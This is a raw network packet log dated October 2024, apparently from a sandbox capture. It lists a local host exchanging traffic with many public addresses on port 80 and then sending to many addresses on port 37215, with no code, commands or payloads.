Oct 14, 2024 17:34:10.857312918 CEST	80	29626	160.137.53.85	192.168.2.14
Oct 14, 2024 17:34:10.857315063 CEST	29626	80	192.168.2.14	144.147.254.8
Oct 14, 2024 17:34:10.857321978 CEST	80	29626	213.76.185.246	192.168.2.14
Oct 14, 2024 17:34:10.857325077 CEST	29626	80	192.168.2.14	223.139.43.20
Oct 14, 2024 17:34:10.857331038 CEST	29626	80	192.168.2.14	181.242.47.175
Oct 14, 2024 17:34:10.857331038 CEST	80	29626	83.8.43.244	192.168.2.14
Oct 14, 2024 17:34:10.857333899 CEST	29626	80	192.168.2.14	75.106.128.151
Oct 14, 2024 17:34:10.857341051 CEST	80	29626	115.185.107.4	192.168.2.14
Oct 14, 2024 17:34:10.857343912 CEST	29626	80	192.168.2.14	160.137.53.85
Oct 14, 2024 17:34:10.857345104 CEST	80	29626	222.103.248.224	192.168.2.14
Oct 14, 2024 17:34:10.857355118 CEST	80	29626	126.184.63.2	192.168.2.14
Oct 14, 2024 17:34:10.857364893 CEST	80	29626	92.83.255.32	192.168.2.14
Oct 14, 2024 17:34:10.857372046 CEST	29626	80	192.168.2.14	83.8.43.244
Oct 14, 2024 17:34:10.857373953 CEST	29626	80	192.168.2.14	115.185.107.4
Oct 14, 2024 17:34:10.857376099 CEST	80	29626	175.127.138.12	192.168.2.14
Oct 14, 2024 17:34:10.857377052 CEST	29626	80	192.168.2.14	213.76.185.246
Oct 14, 2024 17:34:10.857383013 CEST	29626	80	192.168.2.14	222.103.248.224
Oct 14, 2024 17:34:10.857383966 CEST	29626	80	192.168.2.14	126.184.63.2
Oct 14, 2024 17:34:10.857387066 CEST	80	29626	42.11.140.254	192.168.2.14
Oct 14, 2024 17:34:10.857397079 CEST	80	29626	150.143.57.166	192.168.2.14
Oct 14, 2024 17:34:10.857409000 CEST	80	29626	147.97.39.101	192.168.2.14
Oct 14, 2024 17:34:10.857412100 CEST	29626	80	192.168.2.14	175.127.138.12
Oct 14, 2024 17:34:10.857412100 CEST	29626	80	192.168.2.14	92.83.255.32
Oct 14, 2024 17:34:10.857418060 CEST	29626	80	192.168.2.14	42.11.140.254
Oct 14, 2024 17:34:10.857419014 CEST	80	29626	167.64.178.64	192.168.2.14
Oct 14, 2024 17:34:10.857429981 CEST	80	29626	108.61.225.130	192.168.2.14
Oct 14, 2024 17:34:10.857434034 CEST	29626	80	192.168.2.14	147.97.39.101
Oct 14, 2024 17:34:10.857434988 CEST	29626	80	192.168.2.14	150.143.57.166
Oct 14, 2024 17:34:10.857443094 CEST	80	29626	166.222.218.13	192.168.2.14
Oct 14, 2024 17:34:10.857451916 CEST	29626	80	192.168.2.14	167.64.178.64
Oct 14, 2024 17:34:10.857454062 CEST	80	29626	31.190.193.182	192.168.2.14
Oct 14, 2024 17:34:10.857464075 CEST	80	29626	104.244.22.129	192.168.2.14
Oct 14, 2024 17:34:10.857465982 CEST	29626	80	192.168.2.14	108.61.225.130
Oct 14, 2024 17:34:10.857474089 CEST	80	29626	43.193.41.28	192.168.2.14
Oct 14, 2024 17:34:10.857484102 CEST	80	29626	139.204.6.11	192.168.2.14
Oct 14, 2024 17:34:10.857484102 CEST	29626	80	192.168.2.14	166.222.218.13
Oct 14, 2024 17:34:10.857492924 CEST	80	29626	118.76.223.21	192.168.2.14
Oct 14, 2024 17:34:10.857494116 CEST	29626	80	192.168.2.14	31.190.193.182
Oct 14, 2024 17:34:10.857496977 CEST	80	29626	145.97.189.226	192.168.2.14
Oct 14, 2024 17:34:10.857505083 CEST	29626	80	192.168.2.14	104.244.22.129
Oct 14, 2024 17:34:10.857506037 CEST	80	29626	35.108.66.206	192.168.2.14
Oct 14, 2024 17:34:10.857508898 CEST	29626	80	192.168.2.14	43.193.41.28
Oct 14, 2024 17:34:10.857516050 CEST	80	29626	202.76.242.105	192.168.2.14
Oct 14, 2024 17:34:10.857527018 CEST	80	29626	205.213.237.186	192.168.2.14
Oct 14, 2024 17:34:10.857528925 CEST	29626	80	192.168.2.14	118.76.223.21
Oct 14, 2024 17:34:10.857530117 CEST	29626	80	192.168.2.14	139.204.6.11
Oct 14, 2024 17:34:10.857531071 CEST	80	29626	43.110.226.41	192.168.2.14
Oct 14, 2024 17:34:10.857538939 CEST	29626	80	192.168.2.14	145.97.189.226
Oct 14, 2024 17:34:10.857542038 CEST	29626	80	192.168.2.14	35.108.66.206
Oct 14, 2024 17:34:10.857598066 CEST	29626	80	192.168.2.14	202.76.242.105
Oct 14, 2024 17:34:10.857598066 CEST	29626	80	192.168.2.14	43.110.226.41
Oct 14, 2024 17:34:10.857598066 CEST	29626	80	192.168.2.14	205.213.237.186
Oct 14, 2024 17:34:10.857686996 CEST	80	29626	129.21.218.71	192.168.2.14
Oct 14, 2024 17:34:10.857697964 CEST	80	29626	39.43.163.77	192.168.2.14
Oct 14, 2024 17:34:10.857707024 CEST	80	29626	137.51.136.22	192.168.2.14
Oct 14, 2024 17:34:10.857716084 CEST	80	29626	188.88.12.185	192.168.2.14
Oct 14, 2024 17:34:10.857724905 CEST	80	29626	62.129.20.192	192.168.2.14
Oct 14, 2024 17:34:10.857733011 CEST	29626	80	192.168.2.14	129.21.218.71
Oct 14, 2024 17:34:10.857733011 CEST	29626	80	192.168.2.14	137.51.136.22
Oct 14, 2024 17:34:10.857734919 CEST	80	29626	104.4.216.29	192.168.2.14
Oct 14, 2024 17:34:10.857744932 CEST	80	29626	25.45.206.204	192.168.2.14
Oct 14, 2024 17:34:10.857752085 CEST	29626	80	192.168.2.14	62.129.20.192
Oct 14, 2024 17:34:10.857754946 CEST	80	29626	38.119.242.126	192.168.2.14
Oct 14, 2024 17:34:10.857758999 CEST	29626	80	192.168.2.14	104.4.216.29
Oct 14, 2024 17:34:10.857764959 CEST	80	29626	58.85.206.193	192.168.2.14
Oct 14, 2024 17:34:10.857774019 CEST	80	29626	142.166.241.239	192.168.2.14
Oct 14, 2024 17:34:10.857783079 CEST	80	29626	144.29.154.58	192.168.2.14
Oct 14, 2024 17:34:10.857783079 CEST	29626	80	192.168.2.14	25.45.206.204
Oct 14, 2024 17:34:10.857789040 CEST	29626	80	192.168.2.14	58.85.206.193
Oct 14, 2024 17:34:10.857791901 CEST	80	29626	93.118.18.132	192.168.2.14
Oct 14, 2024 17:34:10.857795000 CEST	29626	80	192.168.2.14	142.166.241.239
Oct 14, 2024 17:34:10.857803106 CEST	80	29626	87.119.26.206	192.168.2.14
Oct 14, 2024 17:34:10.857811928 CEST	80	29626	110.198.124.100	192.168.2.14
Oct 14, 2024 17:34:10.857816935 CEST	29626	80	192.168.2.14	93.118.18.132
Oct 14, 2024 17:34:10.857820988 CEST	80	29626	176.8.190.237	192.168.2.14
Oct 14, 2024 17:34:10.857831001 CEST	80	29626	85.84.50.110	192.168.2.14
Oct 14, 2024 17:34:10.857839108 CEST	29626	80	192.168.2.14	110.198.124.100
Oct 14, 2024 17:34:10.857840061 CEST	80	29626	204.123.200.83	192.168.2.14
Oct 14, 2024 17:34:10.857847929 CEST	29626	80	192.168.2.14	176.8.190.237
Oct 14, 2024 17:34:10.857848883 CEST	80	29626	93.130.186.157	192.168.2.14
Oct 14, 2024 17:34:10.857857943 CEST	80	29626	196.23.63.44	192.168.2.14
Oct 14, 2024 17:34:10.857867956 CEST	80	29626	77.215.127.61	192.168.2.14
Oct 14, 2024 17:34:10.857877016 CEST	80	29626	160.214.84.63	192.168.2.14
Oct 14, 2024 17:34:10.857883930 CEST	29626	80	192.168.2.14	144.29.154.58
Oct 14, 2024 17:34:10.857883930 CEST	29626	80	192.168.2.14	204.123.200.83
Oct 14, 2024 17:34:10.857884884 CEST	80	29626	185.113.13.41	192.168.2.14
Oct 14, 2024 17:34:10.857886076 CEST	29626	80	192.168.2.14	87.119.26.206
Oct 14, 2024 17:34:10.857886076 CEST	29626	80	192.168.2.14	39.43.163.77
Oct 14, 2024 17:34:10.857884884 CEST	29626	80	192.168.2.14	93.130.186.157
Oct 14, 2024 17:34:10.857886076 CEST	29626	80	192.168.2.14	85.84.50.110
Oct 14, 2024 17:34:10.857886076 CEST	29626	80	192.168.2.14	188.88.12.185
Oct 14, 2024 17:34:10.857886076 CEST	29626	80	192.168.2.14	38.119.242.126
Oct 14, 2024 17:34:10.857897997 CEST	80	29626	205.231.169.24	192.168.2.14
Oct 14, 2024 17:34:10.857899904 CEST	29626	80	192.168.2.14	196.23.63.44
Oct 14, 2024 17:34:10.857904911 CEST	29626	80	192.168.2.14	160.214.84.63
Oct 14, 2024 17:34:10.857909918 CEST	80	29626	143.92.241.103	192.168.2.14
Oct 14, 2024 17:34:10.857918978 CEST	29626	80	192.168.2.14	77.215.127.61
Oct 14, 2024 17:34:10.857919931 CEST	29626	80	192.168.2.14	185.113.13.41
Oct 14, 2024 17:34:10.857918978 CEST	29626	80	192.168.2.14	205.231.169.24
Oct 14, 2024 17:34:10.857923031 CEST	80	29626	198.217.161.6	192.168.2.14
Oct 14, 2024 17:34:10.857933998 CEST	80	29626	198.33.89.219	192.168.2.14
Oct 14, 2024 17:34:10.857934952 CEST	29626	80	192.168.2.14	143.92.241.103
Oct 14, 2024 17:34:10.857944012 CEST	80	29626	135.181.6.136	192.168.2.14
Oct 14, 2024 17:34:10.857953072 CEST	80	29626	89.111.39.90	192.168.2.14
Oct 14, 2024 17:34:10.857953072 CEST	29626	80	192.168.2.14	198.217.161.6
Oct 14, 2024 17:34:10.857964993 CEST	80	29626	4.51.221.123	192.168.2.14
Oct 14, 2024 17:34:10.857964993 CEST	29626	80	192.168.2.14	198.33.89.219
Oct 14, 2024 17:34:10.857973099 CEST	29626	80	192.168.2.14	135.181.6.136
Oct 14, 2024 17:34:10.857975006 CEST	80	29626	208.3.100.219	192.168.2.14
Oct 14, 2024 17:34:10.857984066 CEST	80	29626	207.149.128.52	192.168.2.14
Oct 14, 2024 17:34:10.857992887 CEST	80	29626	118.107.231.63	192.168.2.14
Oct 14, 2024 17:34:10.857999086 CEST	29626	80	192.168.2.14	89.111.39.90
Oct 14, 2024 17:34:10.858001947 CEST	80	29626	52.239.28.139	192.168.2.14
Oct 14, 2024 17:34:10.858004093 CEST	29626	80	192.168.2.14	4.51.221.123
Oct 14, 2024 17:34:10.858007908 CEST	29626	80	192.168.2.14	208.3.100.219
Oct 14, 2024 17:34:10.858011961 CEST	80	29626	34.39.93.239	192.168.2.14
Oct 14, 2024 17:34:10.858012915 CEST	29626	80	192.168.2.14	207.149.128.52
Oct 14, 2024 17:34:10.858021975 CEST	80	29626	192.79.133.108	192.168.2.14
Oct 14, 2024 17:34:10.858030081 CEST	80	29626	163.43.86.88	192.168.2.14
Oct 14, 2024 17:34:10.858033895 CEST	29626	80	192.168.2.14	52.239.28.139
Oct 14, 2024 17:34:10.858042002 CEST	80	29626	64.112.61.125	192.168.2.14
Oct 14, 2024 17:34:10.858047962 CEST	29626	80	192.168.2.14	192.79.133.108
Oct 14, 2024 17:34:10.858051062 CEST	80	29626	161.7.154.90	192.168.2.14
Oct 14, 2024 17:34:10.858052015 CEST	29626	80	192.168.2.14	118.107.231.63
Oct 14, 2024 17:34:10.858052015 CEST	29626	80	192.168.2.14	34.39.93.239
Oct 14, 2024 17:34:10.858059883 CEST	80	29626	124.88.145.214	192.168.2.14
Oct 14, 2024 17:34:10.858068943 CEST	80	29626	189.56.45.227	192.168.2.14
Oct 14, 2024 17:34:10.858072996 CEST	29626	80	192.168.2.14	64.112.61.125
Oct 14, 2024 17:34:10.858078003 CEST	80	29626	91.46.51.156	192.168.2.14
Oct 14, 2024 17:34:10.858088017 CEST	80	29626	48.216.47.153	192.168.2.14
Oct 14, 2024 17:34:10.858091116 CEST	29626	80	192.168.2.14	124.88.145.214
Oct 14, 2024 17:34:10.858095884 CEST	80	29626	175.168.136.65	192.168.2.14
Oct 14, 2024 17:34:10.858099937 CEST	80	29626	131.106.105.185	192.168.2.14
Oct 14, 2024 17:34:10.858103037 CEST	29626	80	192.168.2.14	163.43.86.88
Oct 14, 2024 17:34:10.858103037 CEST	80	29626	162.186.211.119	192.168.2.14
Oct 14, 2024 17:34:10.858105898 CEST	29626	80	192.168.2.14	189.56.45.227
Oct 14, 2024 17:34:10.858108997 CEST	80	29626	32.140.198.28	192.168.2.14
Oct 14, 2024 17:34:10.858109951 CEST	29626	80	192.168.2.14	161.7.154.90
Oct 14, 2024 17:34:10.858109951 CEST	29626	80	192.168.2.14	91.46.51.156
Oct 14, 2024 17:34:10.858114004 CEST	80	29626	126.128.27.221	192.168.2.14
Oct 14, 2024 17:34:10.858122110 CEST	80	29626	133.57.115.55	192.168.2.14
Oct 14, 2024 17:34:10.858130932 CEST	80	29626	194.18.184.202	192.168.2.14
Oct 14, 2024 17:34:10.858139992 CEST	80	29626	134.215.48.75	192.168.2.14
Oct 14, 2024 17:34:10.858140945 CEST	29626	80	192.168.2.14	48.216.47.153
Oct 14, 2024 17:34:10.858148098 CEST	29626	80	192.168.2.14	175.168.136.65
Oct 14, 2024 17:34:10.858148098 CEST	80	29626	40.121.35.214	192.168.2.14
Oct 14, 2024 17:34:10.858150005 CEST	29626	80	192.168.2.14	162.186.211.119
Oct 14, 2024 17:34:10.858155012 CEST	29626	80	192.168.2.14	32.140.198.28
Oct 14, 2024 17:34:10.858155966 CEST	29626	80	192.168.2.14	133.57.115.55
Oct 14, 2024 17:34:10.858170033 CEST	29626	80	192.168.2.14	134.215.48.75
Oct 14, 2024 17:34:10.858177900 CEST	29626	80	192.168.2.14	131.106.105.185
Oct 14, 2024 17:34:10.858176947 CEST	29626	80	192.168.2.14	194.18.184.202
Oct 14, 2024 17:34:10.858176947 CEST	29626	80	192.168.2.14	126.128.27.221
Oct 14, 2024 17:34:10.858179092 CEST	29626	80	192.168.2.14	40.121.35.214
Oct 14, 2024 17:34:10.858181000 CEST	80	29626	212.223.35.26	192.168.2.14
Oct 14, 2024 17:34:10.858191013 CEST	80	29626	125.141.134.184	192.168.2.14
Oct 14, 2024 17:34:10.858201981 CEST	80	29626	148.22.162.222	192.168.2.14
Oct 14, 2024 17:34:10.858202934 CEST	29626	80	192.168.2.14	212.223.35.26
Oct 14, 2024 17:34:10.858211040 CEST	80	29626	91.120.110.189	192.168.2.14
Oct 14, 2024 17:34:10.858221054 CEST	80	29626	62.3.18.67	192.168.2.14
Oct 14, 2024 17:34:10.858226061 CEST	80	29626	5.169.165.69	192.168.2.14
Oct 14, 2024 17:34:10.858227015 CEST	29626	80	192.168.2.14	125.141.134.184
Oct 14, 2024 17:34:10.858227968 CEST	29626	80	192.168.2.14	148.22.162.222
Oct 14, 2024 17:34:10.858230114 CEST	80	29626	147.130.253.177	192.168.2.14
Oct 14, 2024 17:34:10.858238935 CEST	80	29626	189.63.6.0	192.168.2.14
Oct 14, 2024 17:34:10.858251095 CEST	80	29626	139.73.194.178	192.168.2.14
Oct 14, 2024 17:34:10.858261108 CEST	80	29626	105.111.157.185	192.168.2.14
Oct 14, 2024 17:34:10.858268023 CEST	29626	80	192.168.2.14	147.130.253.177
Oct 14, 2024 17:34:10.858269930 CEST	80	29626	48.22.34.50	192.168.2.14
Oct 14, 2024 17:34:10.858274937 CEST	80	29626	136.83.131.210	192.168.2.14
Oct 14, 2024 17:34:10.858275890 CEST	29626	80	192.168.2.14	5.169.165.69
Oct 14, 2024 17:34:10.858275890 CEST	29626	80	192.168.2.14	189.63.6.0
Oct 14, 2024 17:34:10.858278036 CEST	29626	80	192.168.2.14	91.120.110.189
Oct 14, 2024 17:34:10.858278036 CEST	29626	80	192.168.2.14	62.3.18.67
Oct 14, 2024 17:34:10.858283997 CEST	80	29626	106.190.232.198	192.168.2.14
Oct 14, 2024 17:34:10.858285904 CEST	29626	80	192.168.2.14	139.73.194.178
Oct 14, 2024 17:34:10.858294964 CEST	80	29626	131.113.70.52	192.168.2.14
Oct 14, 2024 17:34:10.858299971 CEST	29626	80	192.168.2.14	105.111.157.185
Oct 14, 2024 17:34:10.858304024 CEST	80	29626	161.83.123.150	192.168.2.14
Oct 14, 2024 17:34:10.858304024 CEST	29626	80	192.168.2.14	48.22.34.50
Oct 14, 2024 17:34:10.858314037 CEST	80	29626	14.43.66.230	192.168.2.14
Oct 14, 2024 17:34:10.858324051 CEST	80	29626	218.82.96.84	192.168.2.14
Oct 14, 2024 17:34:10.858325958 CEST	29626	80	192.168.2.14	131.113.70.52
Oct 14, 2024 17:34:10.858333111 CEST	80	29626	194.221.126.226	192.168.2.14
Oct 14, 2024 17:34:10.858333111 CEST	29626	80	192.168.2.14	106.190.232.198
Oct 14, 2024 17:34:10.858340025 CEST	29626	80	192.168.2.14	14.43.66.230
Oct 14, 2024 17:34:10.858342886 CEST	80	29626	145.190.208.71	192.168.2.14
Oct 14, 2024 17:34:10.858347893 CEST	80	29626	2.53.61.62	192.168.2.14
Oct 14, 2024 17:34:10.858352900 CEST	29626	80	192.168.2.14	136.83.131.210
Oct 14, 2024 17:34:10.858355045 CEST	29626	80	192.168.2.14	161.83.123.150
Oct 14, 2024 17:34:10.858355999 CEST	80	29626	101.217.7.144	192.168.2.14
Oct 14, 2024 17:34:10.858356953 CEST	29626	80	192.168.2.14	218.82.96.84
Oct 14, 2024 17:34:10.858361006 CEST	80	29626	172.52.29.166	192.168.2.14
Oct 14, 2024 17:34:10.858383894 CEST	29626	80	192.168.2.14	194.221.126.226
Oct 14, 2024 17:34:10.858393908 CEST	29626	80	192.168.2.14	101.217.7.144
Oct 14, 2024 17:34:10.858408928 CEST	80	29626	121.154.35.24	192.168.2.14
Oct 14, 2024 17:34:10.858411074 CEST	29626	80	192.168.2.14	145.190.208.71
Oct 14, 2024 17:34:10.858411074 CEST	29626	80	192.168.2.14	2.53.61.62
Oct 14, 2024 17:34:10.858411074 CEST	29626	80	192.168.2.14	172.52.29.166
Oct 14, 2024 17:34:10.858418941 CEST	80	29626	93.91.132.169	192.168.2.14
Oct 14, 2024 17:34:10.858427048 CEST	80	29626	1.160.214.97	192.168.2.14
Oct 14, 2024 17:34:10.858436108 CEST	80	29626	2.88.143.58	192.168.2.14
Oct 14, 2024 17:34:10.858438015 CEST	29626	80	192.168.2.14	121.154.35.24
Oct 14, 2024 17:34:10.858444929 CEST	29626	80	192.168.2.14	93.91.132.169
Oct 14, 2024 17:34:10.858447075 CEST	80	29626	118.23.175.59	192.168.2.14
Oct 14, 2024 17:34:10.858455896 CEST	80	29626	156.167.144.29	192.168.2.14
Oct 14, 2024 17:34:10.858455896 CEST	29626	80	192.168.2.14	1.160.214.97
Oct 14, 2024 17:34:10.858459949 CEST	80	29626	48.108.3.72	192.168.2.14
Oct 14, 2024 17:34:10.858464003 CEST	80	29626	102.192.232.132	192.168.2.14
Oct 14, 2024 17:34:10.858470917 CEST	29626	80	192.168.2.14	2.88.143.58
Oct 14, 2024 17:34:10.858474016 CEST	80	29626	68.117.30.43	192.168.2.14
Oct 14, 2024 17:34:10.858479023 CEST	80	29626	60.96.96.194	192.168.2.14
Oct 14, 2024 17:34:10.858488083 CEST	80	29626	111.242.227.14	192.168.2.14
Oct 14, 2024 17:34:10.858494997 CEST	29626	80	192.168.2.14	48.108.3.72
Oct 14, 2024 17:34:10.858496904 CEST	80	29626	165.41.55.131	192.168.2.14
Oct 14, 2024 17:34:10.858506918 CEST	80	29626	48.38.150.78	192.168.2.14
Oct 14, 2024 17:34:10.858514071 CEST	29626	80	192.168.2.14	102.192.232.132
Oct 14, 2024 17:34:10.858516932 CEST	29626	80	192.168.2.14	118.23.175.59
Oct 14, 2024 17:34:10.858516932 CEST	80	29626	223.177.34.2	192.168.2.14
Oct 14, 2024 17:34:10.858516932 CEST	29626	80	192.168.2.14	156.167.144.29
Oct 14, 2024 17:34:10.858520031 CEST	29626	80	192.168.2.14	68.117.30.43
Oct 14, 2024 17:34:10.858520031 CEST	29626	80	192.168.2.14	111.242.227.14
Oct 14, 2024 17:34:10.858525038 CEST	29626	80	192.168.2.14	60.96.96.194
Oct 14, 2024 17:34:10.858525991 CEST	80	29626	97.52.215.19	192.168.2.14
Oct 14, 2024 17:34:10.858530998 CEST	29626	80	192.168.2.14	165.41.55.131
Oct 14, 2024 17:34:10.858531952 CEST	29626	80	192.168.2.14	48.38.150.78
Oct 14, 2024 17:34:10.858536959 CEST	80	29626	27.181.180.53	192.168.2.14
Oct 14, 2024 17:34:10.858541965 CEST	29626	80	192.168.2.14	223.177.34.2
Oct 14, 2024 17:34:10.858546972 CEST	80	29626	114.37.34.191	192.168.2.14
Oct 14, 2024 17:34:10.858556032 CEST	80	29626	95.117.59.172	192.168.2.14
Oct 14, 2024 17:34:10.858565092 CEST	80	29626	164.8.101.76	192.168.2.14
Oct 14, 2024 17:34:10.858573914 CEST	80	29626	209.130.96.121	192.168.2.14
Oct 14, 2024 17:34:10.858582973 CEST	80	29626	173.179.85.82	192.168.2.14
Oct 14, 2024 17:34:10.858584881 CEST	29626	80	192.168.2.14	95.117.59.172
Oct 14, 2024 17:34:10.858592033 CEST	80	29626	61.54.1.42	192.168.2.14
Oct 14, 2024 17:34:10.858603954 CEST	80	29626	109.128.252.22	192.168.2.14
Oct 14, 2024 17:34:10.858604908 CEST	29626	80	192.168.2.14	164.8.101.76
Oct 14, 2024 17:34:10.858604908 CEST	29626	80	192.168.2.14	209.130.96.121
Oct 14, 2024 17:34:10.858609915 CEST	29626	80	192.168.2.14	97.52.215.19
Oct 14, 2024 17:34:10.858609915 CEST	29626	80	192.168.2.14	27.181.180.53
Oct 14, 2024 17:34:10.858609915 CEST	29626	80	192.168.2.14	114.37.34.191
Oct 14, 2024 17:34:10.858613968 CEST	80	29626	194.101.4.194	192.168.2.14
Oct 14, 2024 17:34:10.858622074 CEST	29626	80	192.168.2.14	61.54.1.42
Oct 14, 2024 17:34:10.858623981 CEST	80	29626	142.48.97.232	192.168.2.14
Oct 14, 2024 17:34:10.858633041 CEST	29626	80	192.168.2.14	109.128.252.22
Oct 14, 2024 17:34:10.858633041 CEST	80	29626	92.240.87.150	192.168.2.14
Oct 14, 2024 17:34:10.858644009 CEST	80	29626	58.115.89.106	192.168.2.14
Oct 14, 2024 17:34:10.858645916 CEST	29626	80	192.168.2.14	194.101.4.194
Oct 14, 2024 17:34:10.858654022 CEST	80	29626	150.26.128.202	192.168.2.14
Oct 14, 2024 17:34:10.858658075 CEST	80	29626	113.72.212.80	192.168.2.14
Oct 14, 2024 17:34:10.858664989 CEST	29626	80	192.168.2.14	173.179.85.82
Oct 14, 2024 17:34:10.858664989 CEST	29626	80	192.168.2.14	142.48.97.232
Oct 14, 2024 17:34:10.858664989 CEST	29626	80	192.168.2.14	92.240.87.150
Oct 14, 2024 17:34:10.858666897 CEST	80	29626	90.230.190.141	192.168.2.14
Oct 14, 2024 17:34:10.858675957 CEST	80	29626	213.164.17.6	192.168.2.14
Oct 14, 2024 17:34:10.858680010 CEST	29626	80	192.168.2.14	58.115.89.106
Oct 14, 2024 17:34:10.858680010 CEST	29626	80	192.168.2.14	150.26.128.202
Oct 14, 2024 17:34:10.858685970 CEST	80	29626	86.201.213.251	192.168.2.14
Oct 14, 2024 17:34:10.858692884 CEST	29626	80	192.168.2.14	113.72.212.80
Oct 14, 2024 17:34:10.858695030 CEST	80	29626	165.55.27.254	192.168.2.14
Oct 14, 2024 17:34:10.858700037 CEST	29626	80	192.168.2.14	213.164.17.6
Oct 14, 2024 17:34:10.858700037 CEST	29626	80	192.168.2.14	90.230.190.141
Oct 14, 2024 17:34:10.858716011 CEST	29626	80	192.168.2.14	86.201.213.251
Oct 14, 2024 17:34:10.858719110 CEST	29626	80	192.168.2.14	165.55.27.254
Oct 14, 2024 17:34:10.860414028 CEST	29625	37215	192.168.2.14	197.84.254.99
Oct 14, 2024 17:34:10.860449076 CEST	29625	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:10.860483885 CEST	29625	37215	192.168.2.14	156.8.22.233
Oct 14, 2024 17:34:10.860503912 CEST	29625	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:10.860579967 CEST	29625	37215	192.168.2.14	41.117.115.104
Oct 14, 2024 17:34:10.860622883 CEST	29625	37215	192.168.2.14	197.29.138.176
Oct 14, 2024 17:34:10.860642910 CEST	29625	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:10.860642910 CEST	29625	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:10.860661030 CEST	29625	37215	192.168.2.14	197.98.247.38
Oct 14, 2024 17:34:10.860663891 CEST	29625	37215	192.168.2.14	41.139.171.186
Oct 14, 2024 17:34:10.860677958 CEST	29625	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:10.860680103 CEST	29625	37215	192.168.2.14	197.139.167.177
Oct 14, 2024 17:34:10.860683918 CEST	29625	37215	192.168.2.14	41.159.121.25
Oct 14, 2024 17:34:10.860718966 CEST	29625	37215	192.168.2.14	197.245.188.186
Oct 14, 2024 17:34:10.860719919 CEST	29625	37215	192.168.2.14	41.49.32.181
Oct 14, 2024 17:34:10.860733986 CEST	29625	37215	192.168.2.14	197.52.94.232
Oct 14, 2024 17:34:10.860744953 CEST	29625	37215	192.168.2.14	156.9.213.58
Oct 14, 2024 17:34:10.860744953 CEST	29625	37215	192.168.2.14	156.167.4.14
Oct 14, 2024 17:34:10.860760927 CEST	29625	37215	192.168.2.14	197.106.26.143
Oct 14, 2024 17:34:10.860760927 CEST	29625	37215	192.168.2.14	41.66.222.121
Oct 14, 2024 17:34:10.860769033 CEST	29625	37215	192.168.2.14	41.156.103.248
Oct 14, 2024 17:34:10.860771894 CEST	29625	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:10.860790968 CEST	29625	37215	192.168.2.14	197.129.129.87
Oct 14, 2024 17:34:10.860811949 CEST	29625	37215	192.168.2.14	156.151.132.197
Oct 14, 2024 17:34:10.860816956 CEST	29625	37215	192.168.2.14	41.149.40.114
Oct 14, 2024 17:34:10.860816956 CEST	29625	37215	192.168.2.14	41.24.42.129
Oct 14, 2024 17:34:10.860825062 CEST	29625	37215	192.168.2.14	41.204.146.139
Oct 14, 2024 17:34:10.860847950 CEST	29625	37215	192.168.2.14	197.50.50.50
Oct 14, 2024 17:34:10.860897064 CEST	29625	37215	192.168.2.14	197.66.116.67
Oct 14, 2024 17:34:10.860899925 CEST	29625	37215	192.168.2.14	197.83.160.66
Oct 14, 2024 17:34:10.860924006 CEST	29625	37215	192.168.2.14	41.214.67.227
Oct 14, 2024 17:34:10.860930920 CEST	29625	37215	192.168.2.14	156.26.138.86
Oct 14, 2024 17:34:10.860964060 CEST	29625	37215	192.168.2.14	156.49.31.7
Oct 14, 2024 17:34:10.860966921 CEST	29625	37215	192.168.2.14	156.250.109.164
Oct 14, 2024 17:34:10.860970974 CEST	29625	37215	192.168.2.14	41.135.128.225
Oct 14, 2024 17:34:10.860980034 CEST	29625	37215	192.168.2.14	197.174.29.102
Oct 14, 2024 17:34:10.860997915 CEST	29625	37215	192.168.2.14	156.152.71.59
Oct 14, 2024 17:34:10.861000061 CEST	29625	37215	192.168.2.14	197.56.115.214
Oct 14, 2024 17:34:10.861006021 CEST	29625	37215	192.168.2.14	197.92.93.219
Oct 14, 2024 17:34:10.861006975 CEST	29625	37215	192.168.2.14	197.255.55.238
Oct 14, 2024 17:34:10.861016989 CEST	29625	37215	192.168.2.14	156.33.129.230
Oct 14, 2024 17:34:10.861022949 CEST	29625	37215	192.168.2.14	156.80.33.71
Oct 14, 2024 17:34:10.861033916 CEST	29625	37215	192.168.2.14	41.30.134.63
Oct 14, 2024 17:34:10.861040115 CEST	29625	37215	192.168.2.14	156.160.223.165
Oct 14, 2024 17:34:10.861046076 CEST	29625	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:10.861046076 CEST	29625	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:10.861061096 CEST	29625	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:10.861090899 CEST	29625	37215	192.168.2.14	41.197.118.7
Oct 14, 2024 17:34:10.861110926 CEST	29625	37215	192.168.2.14	41.55.52.208
Oct 14, 2024 17:34:10.861121893 CEST	29625	37215	192.168.2.14	197.81.80.21
Oct 14, 2024 17:34:10.861124992 CEST	29625	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:10.861124992 CEST	29625	37215	192.168.2.14	197.239.93.184
Oct 14, 2024 17:34:10.861124992 CEST	29625	37215	192.168.2.14	41.91.24.44
Oct 14, 2024 17:34:10.861139059 CEST	29625	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:10.861171961 CEST	29625	37215	192.168.2.14	41.32.217.117
Oct 14, 2024 17:34:10.861172915 CEST	29625	37215	192.168.2.14	156.40.168.169
Oct 14, 2024 17:34:10.861186028 CEST	29625	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:10.861205101 CEST	29625	37215	192.168.2.14	41.238.41.114
Oct 14, 2024 17:34:10.861207962 CEST	29625	37215	192.168.2.14	197.189.220.157
Oct 14, 2024 17:34:10.861222029 CEST	29625	37215	192.168.2.14	197.117.165.145
Oct 14, 2024 17:34:10.861253023 CEST	29625	37215	192.168.2.14	156.45.65.139
Oct 14, 2024 17:34:10.861253977 CEST	29625	37215	192.168.2.14	156.95.186.74
Oct 14, 2024 17:34:10.861269951 CEST	29625	37215	192.168.2.14	41.70.210.88
Oct 14, 2024 17:34:10.861279964 CEST	29625	37215	192.168.2.14	156.124.95.95
Oct 14, 2024 17:34:10.861283064 CEST	29625	37215	192.168.2.14	41.107.231.21
Oct 14, 2024 17:34:10.861283064 CEST	29625	37215	192.168.2.14	41.173.234.214
Oct 14, 2024 17:34:10.861316919 CEST	29625	37215	192.168.2.14	197.8.124.136
